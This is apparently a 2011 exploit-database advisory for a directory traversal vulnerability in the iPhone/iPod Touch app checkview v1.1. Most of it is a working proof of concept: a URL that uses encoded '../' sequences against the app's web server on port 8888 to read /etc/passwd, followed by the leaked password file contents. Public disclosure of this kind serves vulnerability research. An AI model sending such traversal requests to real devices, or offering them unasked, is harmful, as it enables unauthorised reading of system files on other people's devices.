Checkview 1.1 For iPhone / iPod Touch Directory Traversal

`# Exploit Title: checkview(Ã¥ºä) v1.1 for iPhone / iPod touch, Directory Traversal  
# Date: 03/14/2011  
# Author: kim@story  
# E-Mail : kimastory [at] gmail [dot] com  
# Twitter : http://twitter.com/kimastory  
# Software Link: http://itunes.apple.com/En/app/id381116321#  
# Version: 1.1  
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware   
  
# There is directory traversal vulnerability in the checkview(Ã¥ºä).   
# Exploit Testing  
  
  
http://192.168.0.18:8888/..%2F..%2F..%2F..%2F..%2F/etc/passwd  
  
  
#  
# 4.3BSD-compatable User Database  
#  
# Note that this file is not consulted for login.  
# It only exisits for compatability with 4.3BSD utilities.  
#  
# This file is automatically re-written by various system utilities.  
# Do not edit this file. Changes will be lost.  
#  
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false  
root:*:0:0:System Administrator:/var/root:/bin/sh  
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh  
daemon:*:1:1:System Services:/var/root:/usr/bin/false  
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false  
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false  
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false  
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false  
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false  
  
  
`